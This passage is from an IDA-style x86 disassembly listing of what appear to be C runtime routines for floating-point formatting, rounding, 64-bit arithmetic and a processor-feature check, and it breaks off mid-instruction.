loc_4194BB: ; CODE XREF: sub_41917C+332j ; sub_41917C+338j push 0 push 0Ah push edx push eax call sub_419C40 add al, 30h mov [esi], al mov [ebp+var_10], edx inc esi mov eax, ecx mov [ebp+var_10], ebx loc_4194D3: ; CODE XREF: sub_41917C+336j ; sub_41917C+33Dj add al, 30h mov [esi], al mov byte ptr [esi+1], 0 loc_4194DB: ; CODE XREF: sub_41917C+10Dj ; sub_41917C+128j cmp [ebp+var_18], 0 jz short loc_4194E8 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4194E8: ; CODE XREF: sub_41917C+363j xor eax, eax loc_4194EA: ; CODE XREF: sub_41917C+D2j ; sub_41917C+DFj pop ebx loc_4194EB: ; CODE XREF: sub_41917C+5Aj pop edi pop esi leave retn sub_41917C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4194EF proc near ; CODE XREF: sub_4195E6+A4p ; sub_4196A1+C5p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_C] mov ebx, eax mov esi, [ebx+4] mov edi, ecx lea ecx, [ebp+var_10] dec esi call sub_40C799 test edi, edi jnz short loc_41953E loc_419511: ; CODE XREF: sub_4194EF+53j call sub_40C862 push 16h pop esi mov [eax], esi xor eax, eax push eax push eax push eax push eax push eax call sub_40B255 add esp, 14h cmp [ebp+var_4], 0 jz short loc_419537 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_419537: ; CODE XREF: sub_4194EF+3Fj mov eax, esi jmp loc_4195E1 ; --------------------------------------------------------------------------- loc_41953E: ; CODE XREF: sub_4194EF+20j cmp [ebp+arg_0], 0 jbe short loc_419511 cmp [ebp+arg_8], 0 jz short loc_419562 cmp esi, [ebp+arg_4] jnz short loc_419562 xor eax, eax cmp dword ptr [ebx], 2Dh setz al add eax, esi add eax, edi mov byte ptr [eax], 30h mov byte ptr [eax+1], 0 loc_419562: ; CODE XREF: sub_4194EF+59j ; sub_4194EF+5Ej cmp dword ptr [ebx], 2Dh mov esi, edi jnz short loc_41956F mov byte ptr [edi], 2Dh lea esi, [edi+1] loc_41956F: ; CODE XREF: sub_4194EF+78j mov eax, [ebx+4] xor edi, edi inc edi test eax, eax jg short loc_419586 mov eax, esi call sub_418ED8 mov byte ptr [esi], 30h inc esi jmp short loc_419588 ; --------------------------------------------------------------------------- loc_419586: ; CODE XREF: sub_4194EF+88j add esi, eax loc_419588: ; CODE XREF: sub_4194EF+95j cmp [ebp+arg_4], 0 jle short loc_4195D2 mov eax, esi call sub_418ED8 mov eax, [ebp+var_10] mov eax, [eax+0BCh] mov eax, [eax] mov al, [eax] mov [esi], al mov ebx, [ebx+4] inc esi test ebx, ebx jge short loc_4195D2 neg ebx cmp [ebp+arg_8], 0 jnz short loc_4195B9 cmp [ebp+arg_4], ebx jl short loc_4195BC loc_4195B9: ; CODE XREF: sub_4194EF+C3j mov [ebp+arg_4], ebx loc_4195BC: ; CODE XREF: sub_4194EF+C8j mov edi, [ebp+arg_4] mov eax, esi call sub_418ED8 push edi push 30h push esi call sub_40BD40 add esp, 0Ch loc_4195D2: ; CODE XREF: sub_4194EF+9Dj ; sub_4194EF+BBj cmp [ebp+var_4], 0 jz short loc_4195DF mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4195DF: ; CODE XREF: sub_4194EF+E7j xor eax, eax loc_4195E1: ; CODE XREF: sub_4194EF+4Aj pop edi pop esi pop ebx leave retn sub_4194EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4195E6 proc near ; CODE XREF: sub_41979B+26p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] push 16h pop esi push esi lea ecx, [ebp+var_1C] push ecx lea ecx, [ebp+var_2C] push ecx push dword ptr [eax+4] push dword ptr [eax] call sub_419BA4 xor ebx, ebx add esp, 14h cmp edi, ebx jnz short loc_419638 loc_419620: ; CODE XREF: sub_4195E6+57j call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40B255 add esp, 14h mov eax, esi jmp short loc_419692 ; --------------------------------------------------------------------------- loc_419638: ; CODE XREF: sub_4195E6+38j mov eax, [ebp+arg_8] cmp eax, ebx jbe short loc_419620 cmp eax, 0FFFFFFFFh jnz short loc_419648 or eax, eax jmp short loc_419653 ; --------------------------------------------------------------------------- loc_419648: ; CODE XREF: sub_4195E6+5Cj xor ecx, ecx cmp [ebp+var_2C], 2Dh setz cl sub eax, ecx loc_419653: ; CODE XREF: sub_4195E6+60j mov esi, [ebp+arg_C] lea ecx, [ebp+var_2C] push ecx mov ecx, [ebp+var_28] add ecx, esi push ecx push eax xor eax, eax cmp [ebp+var_2C], 2Dh setz al add eax, edi push eax call sub_419A28 add esp, 10h cmp eax, ebx jz short loc_41967D mov [edi], bl jmp short loc_419692 ; --------------------------------------------------------------------------- loc_41967D: ; CODE XREF: sub_4195E6+91j push [ebp+arg_10] lea eax, [ebp+var_2C] push ebx push esi push [ebp+arg_8] mov ecx, edi call sub_4194EF add esp, 10h loc_419692: ; CODE XREF: sub_4195E6+50j ; sub_4195E6+95j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_4195E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196A1 proc near ; CODE XREF: sub_41979B+4Cp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 30h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] push edi push 16h pop edi push edi lea ecx, [ebp+var_1C] push ecx lea ecx, [ebp+var_30] push ecx push dword ptr [eax+4] push dword ptr [eax] call sub_419BA4 xor ebx, ebx add esp, 14h cmp esi, ebx jnz short loc_4196F6 loc_4196DB: ; CODE XREF: sub_4196A1+5Aj call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov [eax], edi call sub_40B255 add esp, 14h mov eax, edi jmp loc_41978C ; --------------------------------------------------------------------------- loc_4196F6: ; CODE XREF: sub_4196A1+38j mov ecx, [ebp+arg_8] cmp ecx, ebx jbe short loc_4196DB mov eax, [ebp+var_2C] dec eax mov [ebp+var_20], eax xor eax, eax cmp [ebp+var_30], 2Dh setz al lea edi, [eax+esi] cmp ecx, 0FFFFFFFFh jnz short loc_419719 or ecx, ecx jmp short loc_41971B ; --------------------------------------------------------------------------- loc_419719: ; CODE XREF: sub_4196A1+72j sub ecx, eax loc_41971B: ; CODE XREF: sub_4196A1+76j lea eax, [ebp+var_30] push eax push [ebp+arg_C] push ecx push edi call sub_419A28 add esp, 10h cmp eax, ebx jz short loc_419734 mov [esi], bl jmp short loc_41978C ; --------------------------------------------------------------------------- loc_419734: ; CODE XREF: sub_4196A1+8Dj mov eax, [ebp+var_2C] dec eax cmp [ebp+var_20], eax setl cl cmp eax, 0FFFFFFFCh jl short loc_419770 cmp eax, [ebp+arg_C] jge short loc_419770 cmp cl, bl jz short loc_419756 loc_41974C: ; CODE XREF: sub_4196A1+B0j mov al, [edi] inc edi test al, al jnz short loc_41974C mov [edi-2], bl loc_419756: ; CODE XREF: sub_4196A1+A9j push [ebp+arg_14] lea eax, [ebp+var_30] push 1 push [ebp+arg_C] mov ecx, esi push [ebp+arg_8] call sub_4194EF add esp, 10h jmp short loc_41978C ; --------------------------------------------------------------------------- loc_419770: ; CODE XREF: sub_4196A1+A0j ; sub_4196A1+A5j push [ebp+arg_14] lea eax, [ebp+var_30] push 1 push eax push [ebp+arg_10] mov eax, esi push [ebp+arg_C] push [ebp+arg_8] call sub_418F1D add esp, 18h loc_41978C: ; CODE XREF: sub_4196A1+50j ; sub_4196A1+91j ... mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_4196A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41979B proc near ; CODE XREF: sub_419823+19p ; DATA XREF: sub_418C38+37o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_C] cmp eax, 65h jz short loc_419807 cmp eax, 45h jz short loc_419807 cmp eax, 66h jnz short loc_4197CB push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4195E6 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- loc_4197CB: ; CODE XREF: sub_41979B+15j cmp eax, 61h jz short loc_4197EE cmp eax, 41h jz short loc_4197EE push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4196A1 jmp short loc_41981E ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_41979B+33j ; sub_41979B+38j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41917C jmp short loc_41981E ; --------------------------------------------------------------------------- loc_419807: ; CODE XREF: sub_41979B+Bj ; sub_41979B+10j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41908C loc_41981E: ; CODE XREF: sub_41979B+51j ; sub_41979B+6Aj add esp, 18h pop ebp retn sub_41979B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419823 proc near ; DATA XREF: sub_418C38o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41979B add esp, 1Ch pop ebp retn sub_419823 endp ; =============== S U B R O U T I N E ======================================= sub_419846 proc near ; CODE XREF: sub_418C98+1Ap mov edi, edi push esi push 30000h push 10000h xor esi, esi push esi call sub_419D3F add esp, 0Ch test eax, eax jz short loc_41986F push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_41986F: ; CODE XREF: sub_419846+1Aj pop esi retn sub_419846 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419871 proc near ; CODE XREF: sub_4198AF:loc_4198D3j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 mov edi, edi push ebp mov ebp, esp sub esp, 18h fld dbl_424D20 fstp [ebp+var_10] fld dbl_424D18 fstp [ebp+var_18] fld [ebp+var_18] fdiv [ebp+var_10] fmul [ebp+var_10] fsubr [ebp+var_18] fstp [ebp+var_8] fld1 fcomp [ebp+var_8] fnstsw ax test ah, 5 jp short loc_4198AB xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_4198AB: ; CODE XREF: sub_419871+33j xor eax, eax leave retn sub_419871 endp ; =============== S U B R O U T I N E ======================================= sub_4198AF proc near ; CODE XREF: sub_418C98+Ap push offset aKernel32 ; "KERNEL32" call dword_41D224 ; GetModuleHandleA test eax, eax jz short loc_4198D3 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_41D0D8 ; GetProcAddress test eax, eax jz short loc_4198D3 push 0 call eax retn ; --------------------------------------------------------------------------- loc_4198D3: ; CODE XREF: sub_4198AF+Dj ; sub_4198AF+1Dj jmp sub_419871 sub_4198AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198D8 proc near ; CODE XREF: sub_418E7C+17p var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 28h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_24] call sub_40C799 lea eax, [ebp+var_24] push eax xor ebx, ebx push ebx push ebx push ebx push ebx push edi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call sub_41A833 mov [ebp+var_14], eax lea eax, [ebp+var_10] push esi push eax call sub_419DAB add esp, 28h test byte ptr [ebp+var_14], 3 jnz short loc_419957 cmp eax, 1 jnz short loc_419942 loc_419931: ; CODE XREF: sub_4198D8+89j cmp [ebp+var_18], bl jz short loc_41993D mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41993D: ; CODE XREF: sub_4198D8+5Cj push 3 loc_41993F: ; CODE XREF: sub_4198D8+7Dj pop eax jmp short loc_419971 ; --------------------------------------------------------------------------- loc_419942: ; CODE XREF: sub_4198D8+57j cmp eax, 2 jnz short loc_419963 loc_419947: ; CODE XREF: sub_4198D8+83j cmp [ebp+var_18], bl jz short loc_419953 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_419953: ; CODE XREF: sub_4198D8+72j push 4 jmp short loc_41993F ; --------------------------------------------------------------------------- loc_419957: ; CODE XREF: sub_4198D8+52j test byte ptr [ebp+var_14], 1 jnz short loc_419947 test byte ptr [ebp+var_14], 2 jnz short loc_419931 loc_419963: ; CODE XREF: sub_4198D8+6Dj cmp [ebp+var_18], bl jz short loc_41996F mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41996F: ; CODE XREF: sub_4198D8+8Ej xor eax, eax loc_419971: ; CODE XREF: sub_4198D8+68j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_4198D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419980 proc near ; CODE XREF: sub_418E7C+30p var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 28h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_24] call sub_40C799 lea eax, [ebp+var_24] push eax xor ebx, ebx push ebx push ebx push ebx push ebx push edi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call sub_41A833 mov [ebp+var_14], eax lea eax, [ebp+var_10] push esi push eax call sub_41A2EF add esp, 28h test byte ptr [ebp+var_14], 3 jnz short loc_4199FF cmp eax, 1 jnz short loc_4199EA loc_4199D9: ; CODE XREF: sub_419980+89j cmp [ebp+var_18], bl jz short loc_4199E5 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4199E5: ; CODE XREF: sub_419980+5Cj push 3 loc_4199E7: ; CODE XREF: sub_419980+7Dj pop eax jmp short loc_419A19 ; --------------------------------------------------------------------------- loc_4199EA: ; CODE XREF: sub_419980+57j cmp eax, 2 jnz short loc_419A0B loc_4199EF: ; CODE XREF: sub_419980+83j cmp [ebp+var_18], bl jz short loc_4199FB mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4199FB: ; CODE XREF: sub_419980+72j push 4 jmp short loc_4199E7 ; --------------------------------------------------------------------------- loc_4199FF: ; CODE XREF: sub_419980+52j test byte ptr [ebp+var_14], 1 jnz short loc_4199EF test byte ptr [ebp+var_14], 2 jnz short loc_4199D9 loc_419A0B: ; CODE XREF: sub_419980+6Dj cmp [ebp+var_18], bl jz short loc_419A17 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_419A17: ; CODE XREF: sub_419980+8Ej xor eax, eax loc_419A19: ; CODE XREF: sub_419980+68j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_419980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A28 proc near ; CODE XREF: sub_41908C+98p ; sub_4195E6+87p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_C] push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx push edi mov edi, [ecx+0Ch] cmp esi, ebx jnz short loc_419A5D loc_419A3F: ; CODE XREF: sub_419A28+38j call sub_40C862 push 16h pop esi mov [eax], esi loc_419A49: ; CODE XREF: sub_419A28+5Bj push ebx push ebx push ebx push ebx push ebx call sub_40B255 add esp, 14h mov eax, esi jmp loc_419AE2 ; --------------------------------------------------------------------------- loc_419A5D: ; CODE XREF: sub_419A28+15j cmp [ebp+arg_4], ebx jbe short loc_419A3F mov edx, [ebp+arg_8] cmp edx, ebx mov [esi], bl jle short loc_419A6F mov eax, edx jmp short loc_419A71 ; --------------------------------------------------------------------------- loc_419A6F: ; CODE XREF: sub_419A28+41j xor eax, eax loc_419A71: ; CODE XREF: sub_419A28+45j inc eax cmp [ebp+arg_4], eax ja short loc_419A85 call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_419A49 ; --------------------------------------------------------------------------- loc_419A85: ; CODE XREF: sub_419A28+4Dj cmp edx, ebx mov byte ptr [esi], 30h lea eax, [esi+1] jle short loc_419AA9 loc_419A8F: ; CODE XREF: sub_419A28+7Cj mov cl, [edi] cmp cl, bl jz short loc_419A9B movsx ecx, cl inc edi jmp short loc_419A9E ; --------------------------------------------------------------------------- loc_419A9B: ; CODE XREF: sub_419A28+6Bj push 30h pop ecx loc_419A9E: ; CODE XREF: sub_419A28+71j mov [eax], cl inc eax dec edx cmp edx, ebx jg short loc_419A8F mov ecx, [ebp+arg_C] loc_419AA9: ; CODE XREF: sub_419A28+65j cmp edx, ebx mov [eax], bl jl short loc_419AC1 cmp byte ptr [edi], 35h jl short loc_419AC1 jmp short loc_419AB9 ; --------------------------------------------------------------------------- loc_419AB6: ; CODE XREF: sub_419A28+95j mov byte ptr [eax], 30h loc_419AB9: ; CODE XREF: sub_419A28+8Cj dec eax cmp byte ptr [eax], 39h jz short loc_419AB6 inc byte ptr [eax] loc_419AC1: ; CODE XREF: sub_419A28+85j ; sub_419A28+8Aj cmp byte ptr [esi], 31h jnz short loc_419ACB inc dword ptr [ecx+4] jmp short loc_419AE0 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A28+9Cj lea edi, [esi+1] push edi call sub_40BFB0 inc eax push eax push edi push esi call sub_40CA30 add esp, 10h loc_419AE0: ; CODE XREF: sub_419A28+A1j xor eax, eax loc_419AE2: ; CODE XREF: sub_419A28+30j pop edi pop esi pop ebx pop ebp retn sub_419A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE7 proc near ; CODE XREF: sub_419BA4+26p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] movzx eax, word ptr [edx+6] push ebx mov ecx, eax push esi push edi shr ecx, 4 and eax, 8000h mov edi, 7FFh and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh mov [ebp+var_4], esi test ebx, ebx jz short loc_419B37 cmp ebx, edi jz short loc_419B30 add ecx, 3C00h jmp short loc_419B58 ; --------------------------------------------------------------------------- loc_419B30: ; CODE XREF: sub_419AE7+3Fj mov edi, 7FFFh jmp short loc_419B5B ; --------------------------------------------------------------------------- loc_419B37: ; CODE XREF: sub_419AE7+3Bj xor ebx, ebx cmp eax, ebx jnz short loc_419B4F cmp edx, ebx jnz short loc_419B4F mov eax, [ebp+arg_0] mov cx, word ptr [ebp+arg_4] mov [eax+4], ebx mov [eax], ebx jmp short loc_419B9B ; --------------------------------------------------------------------------- loc_419B4F: ; CODE XREF: sub_419AE7+54j ; sub_419AE7+58j add ecx, 3C01h mov [ebp+var_4], ebx loc_419B58: ; CODE XREF: sub_419AE7+47j movzx edi, cx loc_419B5B: ; CODE XREF: sub_419AE7+4Ej mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax or ecx, [ebp+var_4] mov eax, [ebp+arg_0] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx test ecx, esi jnz short loc_419B96 loc_419B77: ; CODE XREF: sub_419AE7+ADj mov ecx, [eax] mov edx, [eax+4] mov ebx, ecx add edx, edx shr ebx, 1Fh or edx, ebx add ecx, ecx add edi, 0FFFFh mov [eax+4], edx mov [eax], ecx test edx, esi jz short loc_419B77 loc_419B96: ; CODE XREF: sub_419AE7+8Ej mov ecx, [ebp+arg_4] or ecx, edi loc_419B9B: ; CODE XREF: sub_419AE7+66j pop edi pop esi mov [eax+8], cx pop ebx leave retn sub_419AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BA4 proc near ; CODE XREF: sub_41908C+2Cp ; sub_4195E6+2Cp ... var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = byte ptr -2Ah var_28 = byte ptr -28h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp sub esp, 30h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_C] push ebx mov ebx, [ebp+arg_8] push esi mov [ebp+var_30], eax push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_419AE7 pop ecx pop ecx lea eax, [ebp+var_2C] push eax push 0 push 11h sub esp, 0Ch lea esi, [ebp+var_10] mov edi, esp movsd movsd movsw call sub_41AF2B mov esi, [ebp+var_30] mov [ebx+8], eax movsx eax, [ebp+var_2A] mov [ebx], eax movsx eax, [ebp+var_2C] mov [ebx+4], eax lea eax, [ebp+var_28] push eax push [ebp+arg_10] push esi call sub_40CD95 add esp, 24h test eax, eax jz short loc_419C20 xor eax, eax push eax push eax push eax push eax push eax call sub_40B12D add esp, 14h loc_419C20: ; CODE XREF: sub_419BA4+6Bj mov ecx, [ebp+var_4] pop edi mov [ebx+0Ch], esi pop esi mov eax, ebx xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_419BA4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419C40 proc near ; CODE XREF: sub_41917C+2F9p ; sub_41917C+31Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebp xor edi, edi xor ebp, ebp mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419C64 inc edi inc ebp mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419C64: ; CODE XREF: sub_419C40+Dj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_419C80 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_419C80: ; CODE XREF: sub_419C40+2Aj or eax, eax jnz short loc_419CAC mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+0Ch+arg_8] mov ecx, eax mov eax, esi mul [esp+0Ch+arg_8] add edx, ecx jmp short loc_419CF3 ; --------------------------------------------------------------------------- loc_419CAC: ; CODE XREF: sub_419C40+42j mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_419CBA: ; CODE XREF: sub_419C40+84j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_419CBA div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_419CE8 cmp edx, [esp+0Ch+arg_4] ja short loc_419CE8 jb short loc_419CF1 cmp eax, [esp+0Ch+arg_0] jbe short loc_419CF1 loc_419CE8: ; CODE XREF: sub_419C40+98j ; sub_419C40+9Ej dec esi sub eax, [esp+0Ch+arg_8] sbb edx, [esp+0Ch+arg_C] loc_419CF1: ; CODE XREF: sub_419C40+A0j ; sub_419C40+A6j xor ebx, ebx loc_419CF3: ; CODE XREF: sub_419C40+6Aj sub eax, [esp+0Ch+arg_0] sbb edx, [esp+0Ch+arg_4] dec ebp jns short loc_419D05 neg edx neg eax sbb edx, 0 loc_419D05: ; CODE XREF: sub_419C40+BCj mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi dec edi jnz short loc_419D19 neg edx neg eax sbb edx, 0 loc_419D19: ; CODE XREF: sub_419C40+D0j pop ebp pop esi pop edi retn 10h sub_419C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419D20 proc near ; CODE XREF: sub_41917C+1ECp ; sub_41917C+240p ... cmp cl, 40h jnb short loc_419D3A cmp cl, 20h jnb short loc_419D30 shrd eax, edx, cl shr edx, cl retn ; --------------------------------------------------------------------------- loc_419D30: ; CODE XREF: sub_419D20+8j mov eax, edx xor edx, edx and cl, 1Fh shr eax, cl retn ; --------------------------------------------------------------------------- loc_419D3A: ; CODE XREF: sub_419D20+3j xor eax, eax xor edx, edx retn sub_419D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D3F proc near ; CODE XREF: sub_419846+10p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [ebp+arg_4] and eax, 0FFF7FFFFh and ecx, eax push esi test ecx, 0FCF0FCE0h jz short loc_419D8B push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_419D6F push esi push esi call sub_41B97D pop ecx pop ecx mov [edi], eax loc_419D6F: ; CODE XREF: sub_419D3F+23j call sub_40C862 push 16h pop edi push esi push esi push esi push esi push esi mov [eax], edi call sub_40B255 add esp, 14h mov eax, edi pop edi jmp short loc_419DA8 ; --------------------------------------------------------------------------- loc_419D8B: ; CODE XREF: sub_419D3F+19j mov esi, [ebp+arg_0] push eax push [ebp+arg_4] test esi, esi jz short loc_419D9F call sub_41B97D mov [esi], eax jmp short loc_419DA4 ; --------------------------------------------------------------------------- loc_419D9F: ; CODE XREF: sub_419D3F+55j call sub_41B97D loc_419DA4: ; CODE XREF: sub_419D3F+5Ej pop ecx pop ecx xor eax, eax loc_419DA8: ; CODE XREF: sub_419D3F+4Aj pop esi pop ebp retn sub_419D3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DAB proc near ; CODE XREF: sub_4198D8+46p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx mov ebx, ecx and ecx, 8000h mov [ebp+var_14], ecx mov ecx, [eax+6] mov [ebp+var_20], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] and ebx, 7FFFh sub ebx, 3FFFh shl eax, 10h push edi mov [ebp+var_1C], ecx mov [ebp+var_18], eax cmp ebx, 0FFFFC001h jnz short loc_419E17 xor ebx, ebx xor eax, eax loc_419DF4: ; CODE XREF: sub_419DAB+53j cmp [ebp+eax*4+var_20], ebx jnz short loc_419E07 inc eax cmp eax, 3 jl short loc_419DF4 xor eax, eax jmp loc_41A2AC ; --------------------------------------------------------------------------- loc_419E07: ; CODE XREF: sub_419DAB+4Dj xor eax, eax lea edi, [ebp+var_20] stosd stosd push 2 stosd pop eax jmp loc_41A2AC ; --------------------------------------------------------------------------- loc_419E17: ; CODE XREF: sub_419DAB+43j and [ebp+arg_0], 0 push esi lea esi, [ebp+var_20] lea edi, [ebp+var_2C] movsd movsd movsd mov esi, dword_42E038 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 